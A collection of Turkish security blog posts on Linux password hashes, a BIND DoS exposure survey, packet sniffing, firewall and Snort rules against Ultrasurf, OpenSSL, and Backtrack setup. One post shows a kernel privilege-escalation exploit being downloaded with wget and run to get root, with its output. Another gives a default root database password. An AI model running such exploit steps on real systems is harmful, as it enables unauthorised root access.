Linux dağıtımlarında sistem hesaplarının parolaları /etc/shadow dosyasında hash+salt şeklinde saklanır. Salt(tuz) her seferinde değişken olarak atanan bir değerdir, bu şekile aynı parolayı iki kere girildiğinde hash değerleri farklı çıkacaktır.

Parola formatı

root:$6$GkfJ0/H/$IDtJEzDO1vh8VyDG5rnnLLMXwZl.cikulTg4wtXjq98Vlcf/PA2D1QsT7VHSsu46B/od4IJlqENMtc8dSpBEa1
root: kullanıcı adı
ilk $ ile ikinci $ arasındaki sayı hangi şifreleme/hash algoritmasının kullanıldığını belirtir. Buradaki değer
1 ise MD5
2a ise Blowfish (OpenBSD)
5 ise SHA256
6 ise SHA512 kullanılmış demektir.

İkinci $ ile üçüncü $ arasındaki karekterler parolanın önceden hazırlanmış hash değerleri(rainbow table) kullanılarak yapılacak kırma deneyimlerini zorlaştırma amaçlıdır ve salt değeri olarak bilinir.

Sonraki karekterler de parolanın şifrelenmiş halidir.

Internet üzerinde MD5 kullanan parolaları kırmak için çeşitli araçları bulunmaktadır(John The Ripper) fakat JTR’in son sürümü SHA512 ile hashlenmiş Linux parolalarını kiramamaktadır. Yine internet üzerinden yapılacka araştırmayla JTR’in SHA512 hashli parolaları kırabilmesi için gerekli yamalara ulaşılabilir.

Related posts:

1. Linux LEO(The Law Enforcement and Forensic Examiner’s Introduction to Linux)
2. Pratik OpenSSL Kullanımı
3. Linux sistemlerde zamana bagli login yetkisi

Bu soruyu Güvenlik bülteninin her sayısında çeşitli uzman arkadaşlara soruyoruz ve oldukca çeşitli cevaplar geliyor, merak edenler sertifika programları hakkındaki sektörün ileri gelenleri tarafından verilen cevaplara röportajlar kısmından ulaşabilir.

Hayatın bir gerçek yüzü bir de yaşanan yüzü vardır, sertifikalara çeşitli açılardan eleştiri getirebilir, hatta gereksiz denilebilir ama sektörün büyük bir kısmında sertifikaların ciddi şekilde değerlendirmeye alındığı gerçeğini değiştiremeyiz. Özellikle herkesin ben herşeyi biliyorum dediği günümüzde  sertifikalar bilgi ölçme aracı olarak kullanılıyor.

Güvenlik sektöründe uzun yıllardır varlığını geliştirerek sürdürmüş çeşitli sertifikalar vardır. Bunların arasında en karizmatik, en fazla para yapanı hiç şüphesiz ISC2 tarafından verilen CISSP sertifikası.  Türkiye’de de bu sertifikaya olan ihtiyaç ve talep gün geçtikce artıyor. Çeşitli arkadaşlarla konuşurken her birinin Cissp ile ilgili çeşitli forum/listelere üye olduğunu gördüm. Değişik ortamlardan edindikleri bilgileri Türkçe olarak tartışmak, paylaşma adına CISSP-TR listesini kurmaya karar verdim.

Liste kısaca Türkiye’de  Cissp sınavına hazırlananlar için aşağıdaki işlevleri yerine getirme amacı taşımaktadır:

• Kaynak paylaşımı
• Sertifika sınavları hakkında tecrübe paylaşımı
• Çalışma gruplarının kurulması ve yönetimi
• Ücretli/ücretsiz eğitim duyurularının paylaşılması

Liste arşivi sadece üyelere açık olacaktır.

Üye olmak için:

cissp-tr+subscribe@googlegroups.com  adresine boş bir e-posta gönderebilir
ya da
http://groups.google.com/group/cissp-tr adresine giderek Google hesabınızla listeye kayıt olabilirsiniz.

 Liste yönetimi adına <Huzeyfe ÖNAL>

Related posts:

1. Ag ve Guvenlik E-posta listesi acildi..
2. OpenSSL ile wildcard sertifika üretimi
3. Takip edilesi e-posta listeleri(güvenlik amaçlı)

Yaklaşık olarak üç ay önce tüm ISC Bind sürümlerini etkileyen bir açıklık yayınlandı.  Açıklık DNS servisini etkilediği için çok kritikti( dns’in çalismamasi ne demek? Mail alisverisinin durmasi, web sayfalarinin çalismamasi, ISP’ler için müsterilerinin internetinin gitmesi(müsteri için dns vs yoktur internet çalisiyor ya da çalismiyordur).

Bu açıklığa göre internetin %80 gibi büyük bir oranına dns hizmeti sağlayan Bind yazılımı kullananların verdikleri dns hizmeti  uzaktan tek bir dns paketiyle kapatılabiliyordu. Açıklığın çıktığı tarihlerde -tam da Türkiye’de 3G hizmetinin duyurulduğu gün- çoğu arkadaşımı bizzat arayarak sistemlerini yamalarını sağlamıştım. Kendi yöneticilerimize de konunun ciddiyetini anlatmak için exploiti düzenleyerek(uzaktan kimin gönderdiği belli olmayacak şekilde spoof ip ile) kendi sistemlerimizde test amaçlı çalıştırmıştık.

Açıklığın üzerinden iki ay geçtikten sonra klasik araştırmalarımdan birini bu konuya ayırdım. Amacım acaba Türkiye’de konu ne kadar ciddiye alınmıştı, bizlere güvenlik hizmeti satan firmalar, güvenlik eğitimi veren kurumlar, ötesinde Türkiye’nin güvenliğini (hem sanal hem sosyal) sağlamaya çalışan kurumlar kendilerini korumaya almışlar mıydı sorusunun cevabını bulabilmekti.

Geçtiğimiz yıl yine DNS sunucuları etkileyen cache  poisoning açıklığı sonrasında yaptığımız araştırmada oran bu araştırmadan daha düşük çıkmıştı. Bunda linux/unix üzerine kurulan sistemlerin daha geç güncellendiği sonucunu çıkarmıştık.

Güvenlik Firmaları ve Bind DOS Zaafiyeti

Rastgele seçilen bilgi güvenliği firmalarının dns sunucularının %80′i hala ilgili açıklık için yama yüklememiş durumda. Bize güvenlik hizmeti veren firmalar kendi güvenliklerine dikkat etmiyorsa buradan şu sonuç çıkıyor: firmalar bu işi sadece maddi kazanç için yapıyorlar, kalite vs pek dikkate alinmiyor. Bu firmalar arasında bazılarının pentest hizmeti verdiğini de düşünürsek tam bir kendi söküğünü dikemeyen terzi durumu çıkıyor karşımıza.

ISP’ler ve Bind DOS zaafiyeti

ISP’lerin hemen hepsi bu açıklığa karşı korumasız durumda. Aralarında windows kullanan azınlık grubu saymazsak Bind kullananların çoğu güncelleme yapmamış.

Hosting firmaları ve Bind DOS Zaafiyeti

Hosting firmaları da bu konuda sınıfta kalanlardan. Hosting firmalarının çoğu kendi dns sunucusunu kullanmadığı için ISP’lerdeki zaafiyet onları da doğrudan etkiliyor. Hosting firmalarında durum %70 civarlarında. Normalde bu oranın %95 olacağını tahmin ediyordum ama aralarında Windows DNS kullananlar olduğu için oran düşük çıktı.

Üniversiteler ve Bind DOS Zaafiyeti

Güzide üniversitelerimizde açıklıktan sonra sistemlerine hiç dokunmayanlardan. Rastgele seçilen üniversitelerden çıkan sonuç %85 oranında bu zaafiyete karşı korumasız oldukları.

Eğitim kurumları ve Bind DOS Zaafiyeti

İçlerinde bilgi güvenliği , linux, sistem yönetimi vs konularında çeşitli eğitimler veren firmaların da bulunduğu test grubu da güvenliği sadece konuşmak ve satmak üzerine algılayanlardan. Eğitim kurumlarında %85 oranında Bind DOS zaafiyetinden etkileniyor.

Sonuç

Sonuç olarak Türkiye bilgi güvenliği konusunda yapılacak bir kalite testinde sınıfta kalacaktır. Tek işi güvenlik olan ve firmalara ürün satmak için onları sistemlerinde çıkabilecek açıklıklarla korkutanların kendi sistemlerini hiç dikkate almadığı görülüyor.

Çoğu sistem yöneticisinin DNS sunucularımızı X firması yönetiyor nasıl olsa onlar düşünmüştür şeklinde bir yaklaşımla hiç test etme ihtiyacı hissetmemişler. Yine Linux/UNIX sistem yöneticilerinin  biraz tembellik yaptığı sonucunu da çıkarabiliriz. Bunun temel sebebi Linux kullanıyoruz, nasıl olsa güvenlidir yaklaşımı olduğunu düşünüyorum. Oysa günümüz dünyasında artık gerçekten güvenlidir diyebileceğimiz bir sistem kalmadı. İş artık daha çok sistem/network/güvenlik yöneticilerine kalıyor.

Umarım bu sonuçlar birilerini harekete geçirir ve kendi sistemlerine de bakma ihtiyacı hissederler

Not:Testlerin yapılışı kesinlikle hedef sistemlere zarar vermeyecek şekilde sıradan dns istekleri göndererek yapılmıştır.

Not: Bu yazı yayınlandıktan 3 ay sonra tekrar bir test yapıp daha detaylı sonuçlar paylaşmayı planlıyorum.

Related posts:

1. BIND 9 Dynamic Update DoS Zaafiyeti- Acil
2. BIND 9 cache poisoning zayifligi ve OpenBSD
3. Güvenligi gercekten ciddiye aliyor muyuz-DNS Cache poisoning acikligi

Gönderip aldığımız mailler, web sayfalarına girişimiz, mesaj gönderişimiz hatta 3g kullanıyorsak telefon konuşmalarımız vs arka planda hep paketler vasıtasıyla kotarılır. Bu paketleri görmek Sniffer adı verilen programlar vasıtasıyla mümkün olur. 

Bir de bu paketler içerisinde gidip gelen protokoller vardır. Mesela web sayfalarına giriş için HTTP, 3G ya da GPRS bağlantıları için GTP, mail için SMTP . Bir de bunlar için güvenli ulaşım sağlayan alt seviye protokoller vardır TCP, IP, UDP gibi. Tüm bu protokoller iletişime geçmek isteyen uçlar arasında azami standartları belirlemek için düşünülmüştür.

Paket ve protokol analizi için sniffer araçları kullanılır. Bazı snifferlar kısıtlı protokol analizi yapabilirken b azı snifferlar detaylı paket ve protokol analizi yapmaya olanak sağlar. Kısıtlı paket ve protokol analizine imkan sağlayan sniffer olarak tcpdump’ı, gelişmiş paket ve protol analizine örnek olarak da Wireshark/Tshark’ı örnek verebiliriz.

Sniffer aracılığıyla paket analizi

tcpdump ile HTTP trafigi analizi

~# tcpdump -i eth0 -ttttnn tcp port 80 -vv
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
2009-09-08 05:47:23.057285 IP (tos 0×0, ttl 64, id 28117, offset 0, flags [DF], proto TCP (6), length 52) 10.200.169.163.45196 > 64.233.169.147.80: S, ck                 sum 0xfdbf (correct), 906286265:906286265(0) win 5840 <mss 1460,nop,nop,sackOK,nop,wscale 6>

2009-09-08 05:47:23.191048 IP (tos 0×0, ttl 52, id 58446, offset 0, flags [none], proto TCP (6), length 52) 64.233.169.147.80 > 10.200.169.163.45196: S,                  cksum 0x535f (correct), 2146314999:2146314999(0) ack 906286266 win 5720 <mss 1430,nop,nop,sackOK,nop,wscale 6>

2009-09-08 05:47:23.191090 IP (tos 0×0, ttl 64, id 28118, offset 0, flags [DF], proto TCP (6), length 40) 10.200.169.163.45196 > 64.233.169.147.80: ., ck                 sum 0xaa0e (correct), 1:1(0) ack 1 win 92

2009-09-08 05:47:23.191924 IP (tos 0×0, ttl 64, id 28119, offset 0, flags [DF], proto TCP (6), length 239) 10.200.169.163.45196 > 64.233.169.147.80: P 1:                 200(199) ack 1 win 92
2009-09-08 05:47:23.325691 IP (tos 0×0, ttl 52, id 58447, offset 0, flags [none], proto TCP (6), length 40) 64.233.169.147.80 > 10.200.169.163.45196: .,                  cksum 0xa938 (correct), 1:1(0) ack 200 win 107
2009-09-08 05:47:23.328801 IP (tos 0×0, ttl 52, id 58448, offset 0, flags [none], proto TCP (6), length 608) 64.233.169.147.80 > 10.200.169.163.45196: P                  1:569(568) ack 200 win 107
2009-09-08 05:47:23.328818 IP (tos 0×0, ttl 64, id 28120, offset 0, flags [DF], proto TCP (6), length 40) 10.200.169.163.45196 > 64.233.169.147.80: ., ck                 sum 0xa6fe (correct), 200:200(0) ack 569 win 109
2009-09-08 05:47:23.328826 IP (tos 0×0, ttl 52, id 58449, offset 0, flags [none], proto TCP (6), length 40) 64.233.169.147.80 > 10.200.169.163.45196: F,                  cksum 0xa6ff (correct), 569:569(0) ack 200 win 107
2009-09-08 05:47:23.368014 IP (tos 0×0, ttl 64, id 28121, offset 0, flags [DF], proto TCP (6), length 40) 10.200.169.163.45196 > 64.233.169.147.80: ., ck                 sum 0xa6fd (correct), 200:200(0) ack 570 win 109

Yukardaki çıktıya bakılacak olursa her bir satır bir paketi işsaret eder. Satırlar incelenirse HTTP protokolüne ait   bilgi edinilemez, sadece TCP protokolüne ait bazı bilgiler elde edilebilir.

Bunun sebebi analiz için kullandığımız yazılımın(tcpdump) kısıtlı protokol analizine sahip olmasıdır(tcpdump tcp, ip, udp vs gibi alt seviye protokollere ait analiz imkanı sunar). Bizim görmek istediğimiz HTTP’e ait başlık bilgileri ise tcpdump ile görüntülenemez. Bunun için Wireshark/Tshark kullanmamız gerekir.

Sniffer aracılığıyla protokol analizi

Aşağıdaki çıktılar Tshark sniffer programından alınmıştır. Görüleceği üzere bir HTTP paketine ait tüm detaylar bulunmaktadır.

Capturing on eth0

…
Transmission Control Protocol, Src Port: 56537 (56537), Dst Port: http (80), Seq: 1, Ack: 1, Len: 199
    Source port: 56537 (56537)
    Destination port: http (80)
    Sequence number: 1    (relative sequence number)
    [Next sequence number: 200    (relative sequence number)]
    Acknowledgement number: 1    (relative ack number)
    Header length: 20 bytes
    Flags: 0×18 (PSH, ACK)
        0… …. = Congestion Window Reduced (CWR): Not set
        .0.. …. = ECN-Echo: Not set
        ..0. …. = Urgent: Not set
        …1 …. = Acknowledgment: Set
        …. 1… = Push: Set
        …. .0.. = Reset: Not set
        …. ..0. = Syn: Not set
        …. …0 = Fin: Not set
    Window size: 5888 (scaled)
    Checksum: 0x9f9e [incorrect, should be 0xf736 (maybe caused by "TCP checksum offload"?)]
        [Good Checksum: False]
        [Bad Checksum: True]
Hypertext Transfer Protocol
    GET / HTTP/1.0\r\n
        Request Method: GET
        Request URI: /
        Request Version: HTTP/1.0
    Host: www.google.com\r\n
    Accept: text/html, text/plain, text/css, text/sgml, */*;q=0.01\r\n
    Accept-Encoding: gzip, bzip2\r\n
    Accept-Language: en\r\n
    User-Agent: Lynx/2.8.6rel.4 libwww-FM/2.14\r\n
    \r\n

Related posts:

1. Thsark ile TCP/IP Paket Analizi
2. Scapy Calismalari-III [Paket Dinleyicileri Belirleme]
3. Ağınızda hangi protokol ne kadar kullanılıyor?

Bir projede şöyle bir ihtiyaç oldu: Bridge modda çalışıp belirli adreslere(1000.000 farklı ip adresi) giden istekler yereldeki bir proxy’e yönlendirilecek ve kullanıcıya uyarı gösterilecek.

Belirli adresler haricine gidecek paketlere hiç dokunulmayacak. Projede Linux kullandığımız için paket filtreleme/nat aracı olarak da Iptables(Linux ile birlikte gelen güvenlik duvarı yazılımı)kullanmak zorunda kaldık.

Proje sonucunun  başarılı olabilmesi için  iptables’a 1000.000 nat kuralı girmemiz gerekti, önce bir script aracılığıyla başarmaya çalıştık fakat iptables eş zamanlı olarak bir adet kural girilmesine izin verdi. Biz de 1000.000 ip adresini iptables-restore komutunun anlayacağı hale getirip

iptables-restore < black_list

komutuyla sisteme girmeye çalıştık. Bu arada sistem

“kernel: allocation failed: out of vmalloc space – use vmalloc=<size> to increase size.”

hatası vererek 100.000 den fazla kuralı kabul etmedi.

Çözüm:

grub.conf’da
kernel /vmlinuz-2..

satırının sonuna vmalloc=600MB(default’u 250MB miş gerektiği kadar arttırmak lazım) yapınca sorunumuz çözüldü ve istediğimiz sayıda kuralı iptables’a 40-50 saniye gibi kısa bir sürede girebildik.

Siz de firewall’un kural performansını test etmek isterseniz aşağıdaki rastgele ip üreteç scriptinden faydalanıp kendi kurallarınızı yazabilirsiniz.

Random ip adresi üretmek için kullandığım script:

#!/usr/bin/perl
use strict;
srand(time() ^ ($$ + ($$ << 15)));

for (1..1000000){
    print join (‘.’, (int(rand(255))
                     ,int(rand(255))
                     ,int(rand(255))
                     ,int(rand(255))))
          , “\n”;
}

Kaynak:http://www.perlmonks.org/?node_id=389028

Related posts:

1. Guvenlik sistemlerine dayaniklilik testi
2. Oturum kurulmus TCP baglantilarini Sonlandirma

OpenSSL ile Wildcard sertifika üretimi

Wildcard sertifika üretiminin normal sertifika üretimlerinden farkı yoktur. Sadece host isminin yazıldığı alana www.lifeoverip.net yerine *.lifeoverip.net yazılması gerekir.

# openssl req -new -keyout ./wildcard.req -out ./wildcard.req -days 3652
Generating a 1024 bit RSA private key
…..++++++
…..++++++
writing new private key to ‘./wildcard.req’
Enter PEM pass phrase:
Verifying – Enter PEM pass phrase:
phrase is too short, needs to be at least 4 chars
Enter PEM pass phrase:
Verifying – Enter PEM pass phrase:
—–
—–
Country Name (2 letter code) [TR]:
State or Province Name (full name) [IStanbul]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Lifeoverip Consultant Services]:
Organizational Unit Name (eg, section) []:Security
Common Name (eg, YOUR name) []:*.lifeoverip.net
Email Address []:huzeyfe@lifeoverip.net

Please enter the following ‘extra’ attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:

Oluşturulan wildcard sertifika isteği yetkili bir CA’e gönderilip imzalaması istenebilir ya da kendi CA’nızı kullanarak imzalayabilirsiniz.

# openssl ca -policy policy_anything -out wildcard.crt -infiles wildcard.req
Using configuration from /etc/ssl/openssl.cnf
Enter pass phrase for /etc/ssl/sslCA/private/cakey.pem:
Check that the request matches the signature
Signature ok
Certificate Details:
Serial Number: 4097 (0×1001)
Validity
Not Before: Aug 14 08:36:12 2009 GMT
Not After : Aug 14 08:36:12 2010 GMT
Subject:
countryName               = TR
stateOrProvinceName       = IStanbul
organizationName          = Lifeoverip Consultant Services
organizationalUnitName    = Security
commonName                = *.lifeoverip.net
emailAddress              = huzeyfe@lifeoverip.net
X509v3 extensions:
X509v3 Basic Constraints:
CA:FALSE
Netscape Comment:
OpenSSL Generated Certificate
X509v3 Subject Key Identifier:
33:B8:C2:5A:08:92:E7:64:5D:25:E5:6D:F5:08:A8:9B:37:0A:BF:BE
X509v3 Authority Key Identifier:
keyid:13:F6:E5:86:48:EB:E5:6A:8A:CC:BC:72:28:75:0D:38:89:20:28:45

Certificate is to be certified until Aug 14 08:36:12 2010 GMT (365 days)
Sign the certificate? [y/n]:y

1 out of 1 certificate requests certified, commit? [y/n]y
Write out database with 1 new entries
Data Base Updated

Üretilen sertifikanın browserlar tarafından görünümü:

Related posts:

1. Debian OpenSSL guvenlik zaafiyeti
2. Pratik OpenSSL Kullanımı
3. FreeBSD uzerinde OpenVPN Kurulum ve ayarlari

Aciklikla ilgili çalışan exploitler ve yamalar çıkmış durumda.

Açıklık kullanılarak tek bir komutla siradan bir user root haklarini elde edebiliyor. Klasik exploitlerden farklı olarak exploit yazari derleme vs islemleriyle ugrasilmasin diye bir bash scripti hazirlamis:). Tak calistir mahiyetinde.

Exploit kullanmadan onceki kullanici haklari.
$ id
uid=1001(huzeyfe) gid=1001(huzeyfe) groups=1001(huzeyfe)

Exploitin kullanimi

# wget http://www.grsecurity.net/~spender/exploitx.tgz
huzeyfe@guvenlis:/tmp$ cd exploitx
huzeyfe@guvenlis:/tmp/exploitx$ ls
exploit.c  pwnkernel.c  tzameti.avi  wunderbar_emporium.sh
huzeyfe@guvenlikod:/tmp/wunderbar_emporium$ ./exploitx.sh
[+] Personality set to: PER_SVR4
E: x11wrap.c: XOpenDisplay() failed
E: module.c: Failed to load  module “module-x11-publish” (argument: “”): initialization failed.
[+] MAPPED ZERO PAGE!
[+] Resolved selinux_enforcing to 0xc05b4b7c
[+] Resolved selinux_enabled to 0xc05b4b78
[+] Resolved apparmor_enabled to 0xc04798a4
[+] Resolved apparmor_complain to 0xc05b6770
[+] Resolved apparmor_audit to 0xc05b6778
[+] Resolved apparmor_logsyscall to 0xc05b677c
[+] Resolved security_ops to 0xc05b3324
[+] Resolved default_security_ops to 0xc0478640
[+] Resolved sel_read_enforce to 0xc021fa60
[+] Resolved audit_enabled to 0xc0574544
[+] got ring0!
[+] detected 2.6 style 8k stacks
[+] Disabled security of : LSM
[+] Got root!
#
# id
uid=0(root) gid=0(root) groups=1001(huzeyfe)
Detaylar icin : http://www.securityfocus.com/bid/36038/info

Related posts:

1. Linux LEO(The Law Enforcement and Forensic Examiner’s Introduction to Linux)
2. Linux parola güvenliği
3. Medusa – Network servislerine yönelik bruteforce test aracı

Vakti zamanında ip adresinden bloklamak için 200′e yakın ipye bağlantı yaptığını bulup bloklamıştım ama yetmedi:). Dolayısıyla bu işin ip bloklayarak olmayacağına bir iki gün kaybederek öğrendim.

Açık kod saldırı tespit ve engelleme sistemi Snort’un e-posta listelerinde de geçen gün Ultrasurf konusu açılmıştı. Birileri de hemen bir iki imza yazıp gönderdi listeye.  Malesef ki imzalar tamamen ip adreslerine yapılan bağlantıları izlemeye ve dns isteklerini yakalamaya yönelikti. Her iki imza da gerçekte bloklama işine yaramıyor. Snort kurallarını inceleyerke neden işe yaramayacağına bakalım

İlk Snort kuralı;

# Rule by SERPRO-Recife Security Team
alert udp $HOME_NET any -> $EXTERNAL_NET  53 (msg:”Possible External Ultrasurf  DNS Query”; content:”|00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00|”; classtype: policy-violation;threshold:type limit, track by_src,count 1, seconds5; sid: 1000059; rev:2; )

Bu kural Ultrasurf dns isteklerini yakalaybilse de alakasız dns isteklerini de yakalıyor. Yani false positive oranı çok yüksek bir kural, dolayısıyla engelleme için kullanılamaz.

İkinci Snort kuralı;

# IP POOL by Augusto Ferronato

var ULTRASURF_POOL
[205.196.136.9,210.21.31.114,118.171.251.158,202.75.48.227,61.197.186.36,202.99.10.38,131.107.100.158,66.249.93.102,218.169.186.93,203.13.134.161,59.117.240.222,72.246.89.133,114.45.22.115,
198.22.236.38,70.85.195.236,220.138.148.35,59.117.240.222,118.161.206.194,67.137.230.73,220.136.233.18,
208.96.32.3,65.49.14.12,61.197.186.36,64.62.138.28,195.39.222.218,202.67.56.65,65.49.14.12,114.44.44.158,
210.208.94.226,203.30.164.150,64.38.220.186,202.99.10.38,219.85.5.60]

alert tcp $HOME_NET any -> $ULTRASURF_POOL 443 (msg:”Ultrasurf
Connection Detected”; flow:established;classtype:policy-violation;
sid:5000000; rev:3;)

Bu da kısaca yukarıda belirtilen ip adreslerine yapılan 443 TCP bağlantılarını gördüğünde uyarı veren kural ve false positive çok yatkın zira aralarında gerçek sitelere ait ip adresleri de geçiyor. Ek olarak bunları bloklamaya başladığınızda Ultrasurf anında başka ip adreslerine bağlantı kurarak sizi uğraşlarınızla başbaşa bırakacaktır.

Peki nasıl bloklama yapacağım? Piyasada network seviyesinde sağlıklı bloklama yapabilen ticari IPS ürünleri olduğunu biliyoruz.

Bloklama konusunda en iyi ve en kesin yöntemi Squid ile anlatmıştım ama herkes Squid kullanmadığı için çoğu ortama uymuyor. Ben de bir arkadaş için alternatif yöntemler düşünürken aklıma aşağıda anlatacağım bloklama yöntemi geldi.

Firewall ile Ultrasurf bloklama;

Ultrasurf’ün bir özelliği de eğer bloklama yoksa proxy bağlantılarını hep aynı ip adresi üzerinden yapması. Eğer bu ip adresini bulabilirsem(Ultrasurf çalıştırıp 443. portu dinlemek ve sonrasında Explorer üzerinden internette gezinmek ip adresini bulmaya yetecektir.) sonra kullandığım güvenlik duvarından bu ip adresine giden paketlerin bandwidth değerini 5-6 Kb’e ayarlarsam hem ultrasurf ilgili ip adresine ulaşabileceği için ip adresi değiştirmeyecektir hem de Ultrasurf kullanan kişi bağlantının yavaşlığından dolayı Ultrasurf kullanmaktan vazgeçecektir:)

Yukardaki senaryoyu anlatan Packet Filter Güvenlik Duvarı Kuralı

ext_if=”vic0″
int_if=”vic2″

…
altq on $int_if cbq bandwidth 1Mb queue {ultrasurf, others}
queue ultrasurf bandwidth 6Kb
queue others bandwidth 994Kb cbq(default)
nat on $ext_if from !($ext_if) ($ext_if:0)
pass in quick on $int_if proto tcp from any to  65.49.2.113 port 443 queue ultrasurf
….

Diğer bir yöntem de yukarıdaki Snort kuralını aktif ederek hangi ip adreslerinin Ultrasurf kullandığını belirlemek ve ilgili ip adreslerinin sahiplerini uyarmak. Yukardaki ip adresleri eğer engelleme yapılmazsa Ultrasurf 9.4 versiyonunun default olarak ilk denediği ip adresleridir.

Bu işe kesin çözüm için yapılması gereken:

443. TCP portunu dinleyerel TLS1 bağlantılarında server hello mesajı içerisinde sertifika bilgisini aramaktır. Ultrasurf TLS bağlantısı  kuruyor gözükse de sunucu tarafı hello mesajında sertifika göndermiyor IPS ile bu alanı kontrol edip sertifika alanı boş olan TLS paketlerini bloklamak kesin çözüm olacaktır.

Related posts:

1. Snort kullanarak Ultrasurf engelleme
2. OpenBSD & Snort NIPS Olarak Kullanmak(snort_inline for OpenBSd)
3. Ultrasurf ile Firewall kurallarını aşma

Anlık uyguladığım çözümler yeterli olsa da aynı sorunlarla tekrar karşılaştığımda ne yaptığımı unutmuş oluyorum. Bu yazı da tekrar tekrar aynı şeyleri yapmamak için alınan notları barındırıyor.

Eğer siz de benzeri hatalar yaşıyorsanız ve burada yer almıyorsa yorumlarınızla zenginleştirebilirsiniz.

Not: Burada yazılanların tümü Vmware sürümü için geçerlidir.
1) apt-get update komutu sonrası çıkan hataları düzeltmek

#apt-get update komutu çalıştırıldıktan sonra bazı depoların pubkeylerinin eksik olması sebebiyle aşağıdaki hata alınabilir.

Fetched 704B in 2s (328B/s)
Reading package lists… Done
W: GPG error: http://ppa.launchpad.net intrepid Release: The following signatures couldn’t be verified because the public key is not available: NO_PUBKEY CB2F6C86F77B1CA9
W: GPG error: http://apt.wicd.net gutsy Release: The following signatures couldn’t be verified because the public key is not available: NO_PUBKEY FEC820F4B8C0755A
W: GPG error: http://apt.wicd.net intrepid Release: The following signatures couldn’t be verified because the public key is not available: NO_PUBKEY FEC820F4B8C0755A
W: You may want to run apt-get update to correct these problems

Bu sorunu çözebilmek için

root@home-labs:~# gpg –keyserver keyserver.ubuntu.com –recv CB2F6C86F77B1CA9
gpg: directory `/root/.gnupg’ created
gpg: new configuration file `/root/.gnupg/gpg.conf’ created
gpg: WARNING: options in `/root/.gnupg/gpg.conf’ are not yet active during this run
gpg: keyring `/root/.gnupg/secring.gpg’ created
gpg: keyring `/root/.gnupg/pubring.gpg’ created
gpg: requesting key F77B1CA9 from hkp server keyserver.ubuntu.com
gpg: /root/.gnupg/trustdb.gpg: trustdb created
gpg: key F77B1CA9: public key “Launchpad PPA for Timothy Pearson” imported
gpg: Total number processed: 1
gpg:               imported: 1  (RSA: 1)
root@home-labs:~# gpg –keyserver keyserver.ubuntu.com –recv FEC820F4B8C0755A
gpg: requesting key B8C0755A from hkp server keyserver.ubuntu.com
gpg: key B8C0755A: public key “Adam Blackburn <compwiz18@gmail.com>” imported
gpg: no ultimately trusted keys found
gpg: Total number processed: 1
gpg:               imported: 1

root@home-labs:~# gpg –export –armor  CB2F6C86F77B1CA9|apt-key add -
OK
root@home-labs:~# gpg –export –armor  FEC820F4B8C0755A|apt-key add -
OK

Yukardaki komutlar çalıştırıldıktan sonra tekrar apt-get update komutu çalıştırılırsa herhangi bir hata almadan işlem tamamlanacaktır.

#apt-get update

…

..Hit http://apt.wicd.net intrepid/extras Packages
Fetched 704B in 2s (324B/s)
Reading package lists… Done

2)apt-get upgrade komutu sonrası KDE’nin açılmaması problemi

apt-get upgrade komutu ile sistemi güncellemek isterseniz bu işlem sonrasında konsoldan çalıştıracağınız startx komutu aşağıdakine benzer bir arabirim açacaktır.

Arabirimde tekrar KDE’nin açılmasını isterseniz aşağıdaki komutları çalıştırıp X’i restart etmeniz yeterli olacaktır.

# wget www.offensive-security.com/fix-kde.sh
–2009-04-25 09:09:55–  http://www.offensive-security.com/fix-kde.sh
Resolving www.offensive-security.com… 208.88.120.8
Connecting to www.offensive-security.com|208.88.120.8|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 741 [application/x-sh]
Saving to: `fix-kde.sh’

100%[=========================================================================================>] 741         –.-K/s   in 0s

2009-04-25 09:09:56 (50.1 MB/s) – `fix-kde.sh’ saved [741/741]

root@home-labs:~# bash fix-kde.sh
[*] Please restart X

3) Mysql’e bağlanamama sorunu

Mysql servisini başlattıktan sonra root olarak bağlanamıyorsanız

root@home-labs:~# /etc/init.d/mysql start
* Starting MySQL database server mysqld                                                                                                                                   [ OK ]
* Checking for corrupt, not cleanly closed and upgrade needing tables.
root@home-labs:~# mysql
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: NO)

toor parolası ile deneyin.

root@home-labs:~# mysql -u root -p
Enter password: toor
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 27
Server version: 5.0.67-0ubuntu6 (Ubuntu)

Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.

mysql>

4)Linux KernelkKaynak kodları

Linux kernel kaynak kodlarına ihtiyac duyan bir uygulama icin gösterilecek yol bilgisi: /usr/src/linux

Bir başka yazıda Backtrack 4 ile birlikte gelmeyen fakat bir güvenlikcinin alet çantasında  bulunması gereken yazılımları aktarmayı planlıyorum.

5)KDE Çözünürlük hatası

KDE ile ilgili çözünürlük problemi yaşıyorsanız bunu çözmek için startx komutundan önce fixvmware komutunu çalışırmanız gerekiyor(Ben bu problemi yaşamadım, forumlarda yaşayanlar olduğunu görünce buraya almak istedim)

Related posts:

1. sudo ile detayli komut loglama
2. Agda Kullanilmayan IP Adreslerini Bulma
3. Backtrack 4′e Nessus Kurulumu

Bu konuda turk.internet.com için hazırladığım yazıya aşağıdaki adreslerden erişilebilir

http://turk.internet.com/haber/yazigoster.php3?yaziid=23903

http://turk.internet.com/haber/yazigoster.php3?yaziid=23904

TTNet’in  ADSL networkünden yayılan spamlere çare olması amacıyla başlattığı “Şimdi E-posta Kutunuz Daha Güvenli! “  projesi malesef ki yeteri kadar anlaşılamadı.  Bu yazıda kısaca TTNet’in SMTP portunu kapatarak spame nasıl çözüm bulacağı konusunda değerlendirmelerimi aktaracağım.

Proje kapsamında dinamik IPli ADSL abonelerinin tcp/25(SMTP) portu dış dünyaya kapatılacak. Bunun yerine mail gönderim işleminin 587(submission ) portu üzerinden yapılması istenecek.

SMTP  portunun kapatılmasının nedeni TTNet’in dünya spam servisleri listesinde ilk üçten aşağı düşmemesi.

Ilk bakışta akla  port değiştirmek neyi çözer ki gibi bir düşünce geliyor.  SMTP portu 25 ile Submission portu 587 arasındaki fark bilinirse aslında bu yöntemin spamlerin azaltılması yönündeki gercek etkisi anlaşılır. Aslında keramet port da değil port üzerinde çalışacak olan uygulamada.

SMTP Nasıl Çalışır, Submission SMTP’e ne ek getirir?

SMTP sunucular kendilerine gelen bir mail üzerinde iki tür işlem yapabilirler

1)Gönderilen mail domaini sistemde tanımlı ise kabul ederler.
2)Gönderilen mail domaini sistemde tanımlı değilse hata dönerler

